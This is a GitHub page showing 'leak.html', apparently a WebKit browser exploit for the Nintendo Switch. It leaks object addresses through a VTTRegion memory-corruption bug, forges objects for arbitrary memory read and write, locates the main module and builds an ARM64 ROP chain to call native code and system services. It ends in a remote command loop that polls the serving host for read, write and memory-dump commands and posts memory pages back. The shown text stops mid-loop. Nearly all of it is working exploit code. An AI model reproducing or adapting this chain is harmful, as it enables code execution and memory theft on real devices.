-
Notifications
You must be signed in to change notification settings - Fork 0
/
leak.html
1020 lines (832 loc) · 29.3 KB
/
leak.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<body>
<script>
//--------------------------Log---------------------------//
var req = null;
function send(data, filename)
{
if (typeof(filename)==='undefined') filename = "log";
if(req == null){
req = new XMLHttpRequest();
}
req.open("POST", "/"+filename, false);
req.send(data)
}
function recv()
{
if(req == null){
req = new XMLHttpRequest();
}
while(true){
try{
req.open("GET", "/cmd", false);
req.send()
if(req.status == 200){
return req.responseText;
}
}catch(e){
}
}
}
function log (msg) {
send(msg === undefined ? 'undefined' : "[log] "+msg.toString())
}
var bDebug = false;
function debug (msg) {
if(bDebug){
send(msg === undefined ? 'undefined' : "[deb] "+msg.toString())
}
}
//--------------------Leak---------------------------------//
//global
//global to use this after
var sprayCount = 0x30000;
var ar = new Array(sprayCount);
var vrs = new Array(1);
var vict = null;
function leakAddrs (obja, objb, objc, cb)
{
//---------------internal functions-------------------//
function __gc(){
try{
var aaa;
for(var i=0; i<100; i++){
aaa = new ImageData(1, 0x100000);
}
}catch(e){}
}
function __utf16ToHex(str, index){
var tmp = "0000"+(str.codePointAt(index).toString(16).toUpperCase())
tmp = tmp.substr(tmp.length - 4);
var tmp1 = tmp.substr(0,2);
var tmp2 = tmp.substr(tmp.length - 2);
return tmp2+" "+tmp1;
}
function __dumpUtf16(str, offset, count){
offset = offset/2;
count = count/2;
var tmp = "";
for(var i=0; i<count; i++){
tmp += __utf16ToHex(str, offset+i)+" ";
if(i%8 ==7){
tmp+="\n";
}
}
return tmp;
}
function __d2hex(n){
if (n < 0){
n = 0xFFFFFFFF + n + 1;
}
return n.toString(16).toUpperCase();
}
function __016x(val){
return __d2hex(val[1])+""+__d2hex(val[0]);
}
function __read32(str, index){
var tmp = 0;
tmp = (str.codePointAt(index+1)<<16) + str.codePointAt(index)
return tmp;
}
//----------------------main------------------------//
try{
var bSucess = false;
for(var i=0; i<vrs.length; i++){
vrs[i] = new VTTRegion();
vrs[i].height = 0xDEAD; //This is a mark
var v = document.createElement("video");
v.appendChild(document.createElement("track"));
v.textTracks[0].addRegion(vrs[i]);
v = null;
}
//call the GC to actually free the VTTTextTrack
__gc();
//spray arrays with objects address
for(var i=0; i<sprayCount; i++){
//Size matters for next step
ar[i] = [obja, objb, objc, {}, {}, {}, {}, {}, {}, {}];
}
//search for corrupted VTTTextTrack
for(var i=0; i<vrs.length; i++){
vict = vrs[i].track.kind;
log("len: "+vict.length);
if(vict.length == 2101769){
addrOfObjA = [__read32(vict, 0), __read32(vict, 2)];
addrOfObjB = [__read32(vict, 4), __read32(vict, 6)];
addrOfObjC = [__read32(vict, 8), __read32(vict, 10)];
log("addrOfObjA: "+convert8(addrOfObjA));
log("addrOfObjB: "+convert8(addrOfObjB));
log("addrOfObjC: "+convert8(addrOfObjC));
cb("", addrOfObjA, addrOfObjB, addrOfObjC);
bSucess = true;
break;
}
}
if(bSucess == false){
alert("failed, try again, please use power button !")
}else{
alert("success");
}
}catch(e){alert(e)}
}
//------------------------Exploit------------------------------//
function buildObject (lo, hi, cb) {
log('Building stuff.')
var a = [0, 4.243991582e-314, u2d(lo, hi), 3.5e-323, 3.5e-323];
var f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow.Array.prototype.__defineGetter__(100, () => 1);
var sub = f.contentWindow.Array.prototype.slice.call(a, 0, 4)
f.remove();
cb(sub[0]);
}
var _dview
function u2d (low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(8))
_dview.setUint32(0, low, true)
_dview.setUint32(4, hi, true)
return _dview.getFloat64(0, true)
}
window.minmain = function minmain () {
log('Starting.')
buildObject(0, 0, function (b) {
buildObject(0x1337, 0x1, function (d) {
var sid = 1
var magic = {
'a': u2d(sid, 0x1602300 - 0x10000),
'b': b,
'c': u2d(1, 2),
'd': d
}
d = 0
b = 0
var bstore = new ArrayBuffer(0x10 * 4)
var rwmagic = new Uint32Array(bstore)
var leakee = {'b': null}
var leaker = {'a': leakee}
leakAddrs(magic, rwmagic, leaker, function (err, magicaddr, rwaddr, leakeraddr) {
if (err) {
return alert('error leaking')
}
buildObject(rwaddr[0], rwaddr[1], function (c) {
magic.c = c
c = 0
buildObject(magicaddr[0] + 4 * 4, magicaddr[1], function (o) {
log('Inside o...')
while (sid < 0x10000 && !(o instanceof Uint32Array)) { magic.a = u2d(++sid, 0x1602300 - 0x10000) }
if (!(o instanceof Uint32Array)) {
log('Could not find structure ID. Wtf?')
return
}
log('Success?')
var save = [o[4], o[5], o[6]]
o[4] = leakeraddr[0]
o[5] = leakeraddr[1]
o[6] = 0x1337
var va = new Uint32Array(bstore)
var vb = new Uint32Array(bstore)
leaker['a'] = leakee
leakee['b'] = {'a': va}
var leakaddr = [rwmagic[4], rwmagic[5]]
o[4] = leakaddr[0]
o[5] = leakaddr[1]
var ta = [rwmagic[4], rwmagic[5]]
o[4] = ta[0]
o[5] = ta[1]
var addra = [rwmagic[4], rwmagic[5]]
o[4] = leakaddr[0]
o[5] = leakaddr[1]
leakee['b'] = {'a': vb}
ta = [rwmagic[4], rwmagic[5]]
o[4] = ta[0]
o[5] = ta[1]
var addrb = [rwmagic[4], rwmagic[5]]
o[4] = addra[0]
o[5] = addra[1]
rwmagic[4] = addrb[0]
rwmagic[5] = addrb[1]
o[4] = save[0]
o[5] = save[1]
o[6] = save[2]
rwmagic = 0
magic.a = 0
magic.b = 0
magic.c = 0
magic.d = 0
o = 0
loadRun({
bstore: bstore,
va: va,
vb: vb,
leakee: leakee,
leakaddr: leakaddr
})
})
})
})
})
})
}
var va;
var vb;
var leakee;
var leakaddr;
var base;
read4 = function(addr, offset) {
if(arguments.length == 1)
offset = 0;
va[4] = addr[0];
va[5] = addr[1];
va[6] = 1 + offset;
return vb[offset];
};
read8 = function(addr, offset) {
if(arguments.length == 1)
offset = 0;
return [read4(addr, offset), read4(addr, offset + 1)];
}
write4 = function(val, addr, offset) {
if(arguments.length == 2)
offset = 0;
va[4] = addr[0];
va[5] = addr[1];
va[6] = 1 + offset;
vb[offset] = val;
}
write8 = function(val, addr, offset) {
if(arguments.length == 2)
offset = 0;
if(typeof(val) == 'number')
val = [val, 0];
write4(val[0], addr, offset);
write4(val[1], addr, offset + 1);
};
function add2(addr, off) {
if(typeof(off) == 'number')
off = [off, 0];
var alo = addr[0], ahi = addr[1];
var blo = off[0], bhi = off[1];
var nlo = ((alo + blo) & 0xFFFFFFFF) >>> 0;
var nhi = ((ahi + bhi) & 0xFFFFFFFF) >>> 0;
if((nlo < alo && blo > 0) || (nlo == alo && blo != 0)) {
nhi = ((nhi + 1) & 0xFFFFFFFF) >>> 0;
} else if(nlo > alo && blo < 0) {
nhi = ((nhi - 1) & 0xFFFFFFFF) >>> 0;
}
return [nlo, nhi];
}
function paddr(lo, hi) {
if(arguments.length == 1) {
hi = lo[1];
lo = lo[0];
}
var slo = ('00000000' + lo.toString(16)).slice(-8);
var shi = ('00000000' + hi.toString(16)).slice(-8);
return shi + slo;
}
getAddr = function(obj) {
leakee['b'] = {'a' : obj};
return read8(read8(leakaddr, 4), 4);
}
//utils
//parse a string to internal addr
function parse8(str)
{
var tmp = str.substring(0, 8);
var hi = parseInt(tmp, 16)
tmp = str.slice(-8)
var lo = parseInt(tmp, 16)
return [lo,hi]
}
//Convert internal address to string
function convert8(value)
{
var n = value[0];
if (n < 0){
n = 0xFFFFFFFF + n + 1;
}
var slo = ("00000000" + n.toString(16)).slice(-8)
var n = value[1];
if (n < 0){
n = 0xFFFFFFFF + n + 1;
}
var shi = ("00000000" + n.toString(16)).slice(-8)
return shi+slo;
}
function extend8(value)
{
return ("0000000000000000"+value).slice(-16);
}
//checkif value is a valid value
function check8(value)
{
return true;
var regex = /[0-9A-Fa-f]/y;
if(regex.test(value)){
return true
}
return false;
}
function nullptr(addr) {
return addr[0] == 0 && addr[1] == 0;
}
function eq(a, b){
return a[0] == b[0] && a[1] == b[1];
}
var funcaddr = null;
var func = document.getElementById;
getBase = function() {
func = document.getElementById;
func.apply(document, ['']); // Ensure the func pointer is cached at 8:9
//2.3.0
funcbase = 0x8365B8; // This is the base address for getElementById in the webkit module
var tlfuncaddr = getAddr(func);
funcaddr = read8(tlfuncaddr, 6);
var baseaddr = add2(read8(funcaddr, 8), -funcbase);
log('webkit: ' + paddr(baseaddr));
return baseaddr;
};
walkList = function() {
var addr = base;
debug('Initial NRO at ' + paddr(addr));
while(true) {
var baddr = addr;
var modoff = read4(addr, 1);
addr = add2(addr, modoff);
var modstr = read4(addr, 6);
addr = add2(addr, modstr);
// Read next link ptr
addr = read8(addr);
if(nullptr(addr)) {
log('Reached end');
break;
}
var nro = read8(addr, 8);
if(nullptr(nro)) {
debug('Hit RTLD at ' + paddr(addr));
addr = read8(addr, 4);
break;
}
if(read4(nro, 4) != 0x304f524e) {
log('Something is wrong. No NRO header at base.');
break;
}
addr = nro;
debug('Found NRO at ' + paddr(nro));
}
while(true) {
var nro = read8(addr, 8);
if(nullptr(nro)) {
debug('Hm, hit the end of things. Back in rtld?');
return;
}
if(read4(nro, read4(nro, 1) >> 2) == 0x30444f4d) {
debug('Got MOD at ' + paddr(nro));
if(read4(nro, 4) == 0x8DCDF8 && read4(nro, 5) == 0x959620) {
debug('Found main module.');
return nro;
}
} else {
debug('No valid MOD header. Back at RTLD.');
break;
}
addr = read8(addr, 0);
if(nullptr(addr)) {
debug('End of chain.');
break;
}
}
};
var mainaddr = null;
var allocated = {};
malloc = function(bytes) {
var obj = new ArrayBuffer(bytes);
var addr = read8(read8(getAddr(obj), 4), 6);
allocated[addr] = obj;
return addr;
};
free = function(addr) {
allocated[addr] = 0;
};
mref = function(off) {
return add2(mainaddr, off);
};
var sp = null;
getSP = function() {
if(sp != null)
return sp; // This should never change in a session. ... Should.
var jaddr = mref(0x39FEEC); // First gadget
debug('New jump at ' + paddr(jaddr));
debug('Assigning function pointer');
debug('Function object at ' + paddr(funcaddr));
var curptr = read8(funcaddr, 8);
var fixed = mref(0x91F320);
var saved = new Uint32Array(0x18 >> 2);
for(var i = 0; i < saved.length; ++i)
saved[i] = read4(fixed, i);
var struct1 = malloc(0x48);
var struct2 = malloc(0x28);
var struct3 = malloc(0x518);
var struct4 = malloc(0x38);
write8(struct1, fixed, 0);
write8(mref(0x4967F0), fixed, 0x8 >> 2); // Second gadget
write8(mref(0x48FE44), fixed, 0x10 >> 2); // Third gadget
write8(struct2, struct1, 0x10 >> 2);
write8(struct3, struct2, 0);
write8(mref(0x2E5F88), struct2, 0x20 >> 2);
write8([0x00000000, 0xffff0000], struct3, 0x8 >> 2);
write8(mref(0x1892A4), struct3, 0x18 >> 2);
write8(mref(0x46DFD4), struct3, 0x20 >> 2);
write8(struct4, struct3, 0x510 >> 2);
write8(mref(0x1F61C0), struct4, 0x18 >> 2);
write8(mref(0x181E9C), struct4, 0x28 >> 2);
write8(mref(0x1A1C98), struct4, 0x30 >> 2);
write8(jaddr, funcaddr, 8);
debug('Patched function address from ' + paddr(curptr) + ' to ' + paddr(read8(funcaddr, 8)));
debug('Assigned. Jumping.');
debug(func.apply(0x101));
debug('Jumped back.');
write8(curptr, funcaddr, 8);
debug('Restored original function pointer.');
var sp = add2(read8(struct3, 0), -0x18);
debug('Got stack pointer: ' + paddr(sp));
for(var i = 0; i < saved.length; ++i)
write4(saved[i], fixed, i);
debug('Restored data page.');
free(struct1);
free(struct2);
free(struct3);
free(struct4);
debug('Freed buffers');
sp = sp;
return sp;
};
call = function(funcptr, args, fargs, registers, dump_regs) {
if(typeof(funcptr) == 'number') {
funcptr = add2(mainaddr, funcptr);
}
switch(arguments.length) {
case 1:
args = [];
case 2:
fargs = [];
case 3:
registers = [];
case 4:
dump_regs = false;
}
var sp = getSP();
debug('Starting holy rop');
var jaddr = mref(0x39FEEC); // First gadget addr, loads X8 with a fixed address.
debug('New jump at ' + paddr(jaddr));
debug('Setting up structs');
var fixed = mref(0x91F320);
var saved = new Uint32Array(12);
for(var i = 0; i < saved.length; ++i)
saved[i] = read4(fixed, i);
// Begin Gadgets
var load_x0_w1_x2_x9_blr_x9 = mref(0x4967F0);
var load_x2_x30_mov_sp_into_x2_br_x30 = mref(0x433EB4);
var load_x2_x8_br_x2 = mref(0x1A1C98);
var load_x30_from_sp_br_x2 = mref(0x3C2314);
var returngadg = mref(0x181E9C);
var savegadg = mref(0x4336B0);
var loadgadg = mref(0x433620);
var loadgadg_stage2 = mref(0x3A869C);
var load_x19 = mref(0x6C3E4);
var str_x20 = mref(0x117330);
var str_x8 = mref(0x453530);
var load_and_str_x8 = mref(0x474A98);
var str_x1 = mref(0x581B8C);
var mov_x2_into_x1 = mref(0x1A0454);
var str_x0 = mref(0xFDF4C);
var str_x9 = mref(0x1F8280);
var mov_x19_into_x0 = mref(0x12CC68);
// End Gadgets
var context_load_struct = malloc(0x200);
var block_struct_1 = malloc(0x200);
var block_struct_2 = malloc(0x200);
var block_struct_3 = malloc(0x200);
var savearea = malloc(0x400);
var loadarea = malloc(0x400);
var dumparea = malloc(0x400);
// Step 1: Load X8 with a fixed address, control X0:X2
write8(context_load_struct, fixed, 0x00 >> 2);
write8(load_x0_w1_x2_x9_blr_x9, fixed, 0x08 >> 2);
write8(load_x2_x30_mov_sp_into_x2_br_x30, fixed, 0x10 >> 2);
write8(load_x0_w1_x2_x9_blr_x9, fixed, 0x18 >> 2);
write8(block_struct_1, fixed, 0x28 >> 2);
// Step 2: Stack pivot to SP - 0x8000. -0x30 to use a LR-loading gadget.
sp = add2(sp, -0x8030);
write8(load_x2_x8_br_x2, context_load_struct, 0x58 >> 2);
write8(sp, context_load_struct, 0x68 >> 2);
write8(returngadg, context_load_struct, 0x158 >> 2);
write8(add2(sp, 0x8030), context_load_struct, 0x168 >> 2);
// Step 3: Perform a full context-save of all registers to savearea.
write8(savearea, block_struct_1, 0x0 >> 2);
write8(load_x30_from_sp_br_x2, block_struct_1, 0x10 >> 2);
write8(load_x0_w1_x2_x9_blr_x9, block_struct_1, 0x18 >> 2);
write8(block_struct_2, block_struct_1, 0x28 >> 2);
write8(savegadg, block_struct_1, 0x38 >> 2);
write8(load_x2_x8_br_x2, sp, 0x28 >> 2);
sp = add2(sp, 0x30);
// Step 4: Perform a full context-load from a region we control.
write8(loadarea, block_struct_2, 0x00 >> 2);
write8(loadgadg, block_struct_2, 0x10 >> 2);
// Step 5: Write desired register contents to the context load region.
write8(sp, loadarea, 0xF8 >> 2); // Can write an arbitrary stack ptr here, for argument passing
write8(loadgadg_stage2, loadarea, 0x100 >> 2); // Return from load to load-stage2
sp = add2(sp, -0x80);
// Write registers fornative code.
if(registers.length > 9) {
for(var i = 9; i < 30 && i < registers.length; i++) {
write8(registers[i], loadarea, (8 * i) >> 2);
}
}
if(registers.length > 0) {
for(var i = 0; i <= 8 && i < registers.length; i++) {
write8(registers[i], sp, (0x80 + 8 * i) >> 2);
}
if(registers.length > 19) {
write8(registers[19], sp, 0xC8 >> 2);
}
if(registers.length > 29) {
write8(registers[29], sp, 0xD0 >> 2);
}
}
if(args.length > 0) {
for(var i = 0; i < args.length && i < 8; i++) {
write8(args[i], sp, (0x80 + 8 * i) >> 2)
}
}
if(fargs.length > 0) {
for(var i = 0; i < fargs.length && i < 32; i++) {
write8(fargs[i], loadarea, (0x110 + 8 * i) >> 2);
}
}
write8(funcptr, loadarea, 0x80 >> 2); // Set the code to call to our function pointer.
write8(load_x19, sp, 0xD8 >> 2); // Set Link Register for our arbitrary function to point to cleanup rop
// Stack arguments would be bottomed-out at sp + 0xE0...
// TODO: Stack arguments support. Would just need to figure out how much space they take up
// and write ROP above them. Note: the user would have to call code that actually used
// that many stack arguments, or shit'd crash.
// ROP currently begins at sp + 0xE0
// Step 6: [Arbitrary code executes here]
// Step 7: Post-code execution cleanup. Dump all registers to another save area,
// return cleanly to javascript.
write8(add2(dumparea, 0x300 - 0x10), sp, (0xE0 + 0x28) >> 2); // Load X19 = dumparea + 0x300 - 0x10
write8(str_x20, sp, (0xE0 + 0x38) >> 2); // Load LR with str_x20
write8(add2(dumparea, 0x308), sp, (0x120 + 0x8) >> 2); // Load X19 = dumparea + 0x308
write8(str_x8, sp, (0x120 + 0x18) >> 2); // Load LR with str_x8
write8(add2(dumparea, 0x310 - 0x18), sp, (0x140 + 0x0) >> 2); // Load X19 = dumparea + 0x310 - 0x18
write8(str_x1, sp, (0x140 + 0x18) >> 2); // Load LR with str_x1
write8(add2(dumparea, 0x3F8), sp, (0x160 + 0x0) >> 2); // Load X20 with scratch space
write8(add2(dumparea, 0x380), sp, (0x160 + 0x8) >> 2); // Load X19 = dumparea + 0x380
write8(str_x1, dumparea, 0x380 >> 2); // Write str_x1 to dumparea + 0x380
write8(load_and_str_x8, sp, (0x160 + 0x18) >> 2); // Load LR with Load, STR X8
write8(add2(dumparea, 0x318 - 0x18), sp, (0x180 + 0x8) >> 2); // Load X19 = dumparea + 0x318 - 0x18
write8(mov_x2_into_x1, sp, (0x180 + 0x18) >> 2); // Load LR with mov x1, x2
write8(add2(dumparea, 0x3F8), sp, (0x1A0 + 0x0) >> 2); // Load X20 with scratch space
write8(add2(dumparea, 0x320), sp, (0x1A0 + 0x8) >> 2); // Load X19 = dumparea + 0x320
write8(str_x0, sp, (0x1A0 + 0x18) >> 2); // Load LR with str x0
write8(add2(dumparea, 0x388), sp, (0x1C0 + 0x0) >> 2); // Load X19 = dumparea + 0x388
write8(add2(dumparea, 0x320), dumparea, 0x388 >> 2); // Write dumparea + 0x320 to dumparea + 0x388
write8(load_and_str_x8, sp, (0x1C0 + 0x18) >> 2); // Load LR with load, STR X8
write8(add2(dumparea, 0x3F8), sp, (0x1E0 + 0x0) >> 2); // Load X20 with scratch space
write8(add2(dumparea, 0x328 - 0x58), sp, (0x1E0 + 0x8) >> 2); // Load X19 = dumparea + 0x328 - 0x58
write8(str_x9, sp, (0x1E0 + 0x18) >> 2); // Load LR with STR X9
write8(add2(dumparea, 0x390), sp, (0x200 + 0x0) >> 2); // Load X19 with dumparea + 0x390
write8(block_struct_3, dumparea, 0x390 >> 2); // Write block struct 3 to dumparea + 0x390
write8(load_and_str_x8, sp, (0x200 + 0x18) >> 2); // Load LR with load, STR X8
write8(load_x0_w1_x2_x9_blr_x9, sp, (0x220 + 0x18) >> 2); // Load LR with gadget 2
// Block Struct 3
write8(dumparea, block_struct_3, 0x00 >> 2);
write8(load_x30_from_sp_br_x2, block_struct_3, 0x10 >> 2);
write8(savegadg, block_struct_3, 0x38 >> 2);
write8(add2(str_x20, 0x4), sp, (0x240 + 0x28) >> 2); // Load LR with LD X19, X20, X30
write8(add2(savearea, 0xF8), sp, (0x270 + 0x0) >> 2); // Load X20 with savearea + 0xF8 (saved SP)
write8(add2(dumparea, 0x398), sp, (0x270 + 0x8) >> 2); // Load X19 with dumparea + 0x398
write8(add2(sp, 0x8080), dumparea, 0x398 >> 2); // Write SP to dumparea + 0x38
write8(load_and_str_x8, sp, (0x270 + 0x18) >> 2); // Load X30 with LD, STR X8
write8(add2(savearea, 0x100), sp, (0x290 + 0x0) >> 2); // Load X20 with savearea + 0x100 (saved LR)
write8(add2(dumparea, 0x3A0), sp, (0x290 + 0x8) >> 2); // Load X19 with dumparea + 0x3A0
write8(returngadg, dumparea, 0x3A0 >> 2); // Write return gadget to dumparea + 0x3A0
write8(load_and_str_x8, sp, (0x290 + 0x18) >> 2); // Load X30 with LD, STR X8
write8(add2(savearea, 0xC0), sp, (0x2B0 + 0x0) >> 2); // Load X20 with savearea + 0xC0 (saved X24)
write8(add2(dumparea, 0x3A8), sp, (0x2B0 + 0x8) >> 2); // Load X19 with dumparea + 0x3A8
write8([0x00000000, 0xffff0000], dumparea, 0x3A8 >> 2); // Write return gadget to dumparea + 0x3A8
write8(load_and_str_x8, sp, (0x2B0 + 0x18) >> 2); // Load X30 with LD, STR X8
write8(savearea, sp, (0x2D0 + 0x8) >> 2); // Load X19 with savearea
write8(mov_x19_into_x0, sp, (0x2D0 + 0x18) >> 2); // Load X30 with mov x0, x19.
write8(loadgadg, sp, (0x2F0 + 0x18) >> 2); // Load X30 with context load
sp = add2(sp, 0x8080);
debug('Assigning function pointer');
debug('Function object at ' + paddr(funcaddr));
var curptr = read8(funcaddr, 8);
write8(jaddr, funcaddr, 8);
debug('Patched function address from ' + paddr(curptr) + ' to ' + paddr(read8(funcaddr, 8)));
debug('Jumping.');
func.apply(0x101);
debug('Jumped back.');
write8(curptr, funcaddr, 8);
debug('Restored original function pointer.');
var ret = read8(dumparea, 0x320 >> 2);
if(dump_regs) {
log('Register dump post-code execution:');
for(var i = 0; i <= 30; i++) {
if(i == 0) {
log('X0: ' + paddr(read8(dumparea, 0x320 >> 2)));
} else if(i == 1) {
log('X1: ' + paddr(read8(dumparea, 0x310 >> 2)));
} else if(i == 2) {
log('X2: ' + paddr(read8(dumparea, 0x318 >> 2)));
} else if(i == 8) {
log('X8: ' + paddr(read8(dumparea, 0x308 >> 2)));
} else if(i == 9) {
log('X9: ' + paddr(read8(dumparea, 0x328 >> 2)));
} else if(i == 20) {
log('X20: ' + paddr(read8(dumparea, 0x300 >> 2)));
} else if(i == 16 || i == 19 || i == 29 || i == 30) {
log('X' + i + ': Not dumpable.');
} else {
log('X' + i + ': ' + paddr(read8(dumparea, (8 * i) >> 2)));
}
}
}
for(var i = 0; i < saved.length; ++i)
write4(saved[i], fixed, i);
debug('Restored data page.');
debug('Native code at ' + paddr(funcptr) + ' returned: ' + paddr(ret));
free(context_load_struct);
free(block_struct_1);
free(block_struct_2);
free(block_struct_3);
free(savearea);
free(loadarea);
free(dumparea);
debug('Freed all buffers');
return ret;
};
getTLS = function() {
return call(0x3ACE54, []);
}
function svcExitProcess()
{
return call(0x3BBE60, []);
}
function svcExitThread()
{
return call(0x3BBE88, []);
}
function svcConnectToNamedPort(uPortName)
{
var pPortName = malloc(0x10);
var hService = [0xFFFFFFFF, 0xFFFFFFFF];
write8(uPortName, pPortName);
var pHandle = malloc(0x10);
var bResult = call(0x3BBF70, [pHandle, pPortName]);
if(eq(bResult, [0,0])){
hService = [read4(pHandle), 0];
}
free(pHandle)
free(pPortName);
return hService;
}
function svcSendSyncRequestWithUserBuffer(hHandle, pBuffer, iSize)
{
var bResult = call(0x3BBF90, [pBuffer, iSize, hHandle]);
return eq(bResult, [0, 0]);
}
//min main
function loadRun (obj)
{
va = obj.va;
vb = obj.vb;
leakee = obj.leakee;
leakaddr = obj.leakaddr;
log("Connected\n");
base = getBase();
log("funcaddr: "+ convert8(funcaddr));
mainaddr = walkList();
log("mainaddr: "+convert8(mainaddr));
sp = getSP();
log("sp: "+convert8(sp));
var objM = new VTTRegion();
var v = document.createElement("video");
v.appendChild(document.createElement("track"));
v.textTracks[0].addRegion(objM);
log("corruptedRegion: " + convert8(getAddr(vrs[0])));
log("cleanRegion: " + convert8(getAddr(objM)));
log("corruptedTrack: " + convert8(getAddr(vrs[0].track)));
log("cleanTrack: " + convert8(getAddr(objM.track)));
//vict = null;
log("vict: " + convert8(getAddr(vict)));
hService = svcConnectToNamedPort(parse8("00000000003a6d73")); //sm:
log(hService);
//Example of call
pBuffer = malloc(0x1000);
write4(0x00000004, add2(pBuffer, 0x00)); //Request
write4(0x80000020, add2(pBuffer, 0x04)); //Handle Size
write4(0x00000001, add2(pBuffer, 0x08)); //GetService
write4(0x49434653, add2(pBuffer, 0x20)); //SFCI
write4(0x753a6c70, add2(pBuffer, 0x30)); //Servicename
log(svcSendSyncRequestWithUserBuffer(hService, pBuffer, 0x1000));
var str = "";
for(var i=0; i<0x10; i++){
str += i+" "+convert8(add2(pBuffer, i*8))+" : "+convert8(read8(add2(pBuffer, i*8)))+"\n";
}
send(str)
free(pBuffer);
while(true)
{
data = recv()
var args = data.split(" ");
var cmd = args[0];
if(cmd == "read8"){
if(check8(args[1]) == false){
send("read8: invalid parameters");
}else{
var addr = extend8(args[1]);
addr = parse8(addr);
value = read8(addr);
send(convert8(value))
}
}else if(cmd == "write8"){
if(check8(args[1]) == false || check8(args[2]) == false){
send("write8: invalid parameters");
}else{
var addr = extend8(args[1]);
addr = parse8(addr);
var value = extend8(args[2]);
value = parse8(value);
write8(value, addr);
log("write8: OK!")
}
}else if(cmd == "dump8"){
if(check8(args[1]) == false || args[2] == undefined){
send("dump: invalid parameters");
}else{
var addr = parse8(extend8(args[1]));
var str = "";
for(var i=0; i<parseInt(args[2]); i++){
str += i+" "+convert8(add2(addr, i*8))+" : "+convert8(read8(add2(addr, i*8)))+"\n";
}
send(str)
}
}else if(cmd == "memcpy8"){
var dest = parse8(extend8(args[1]));
var source = parse8(extend8(args[2]));
var count = parseInt(args[3]);
for(var i=0; i<count; i++){
write8(read8(add2(source, i*8)), add2(dest, i*8));
}
log("memcpy8: OK!")
}else if(cmd == "memset8"){
var dest = parse8(extend8(args[1]));
var value = parse8(extend8(args[2]));
var count = parseInt(args[3]);
for(var i=0; i<count; i++){
write8(value, add2(dest, i*8));
}
log("memset8: OK!")
}else if(cmd == "exit"){
send("bye bye !");
break;
}else if(cmd == "dump2file"){
var page = parse8(extend8(args[1]));
var filename = extend8(args[1])+".bin";
var pagecount = parseInt(args[2]);
var arbuff = new ArrayBuffer(4096);
var u32buff = new Uint32Array(arbuff);
for(var i=0; i<pagecount; i++){
log("dumping page "+i+" at "+convert8(page));
//retrieve the page
for(var j=0; j<1024; j++){
u32buff[j] = read4(add2(page, j*4));
}
//send the page
send(u32buff, filename);
//next page
page = add2(page, 4096)
}
log("dump2file: OK");
}else if(cmd == "search8"){
var source = parse8(extend8(args[1]));
var value = parse8(extend8(args[2]));
var count = parseInt(args[3]);
for(var i=0; i<count; i++){
readval = read8(add2(source, i*8))
if(eq(readval, value)){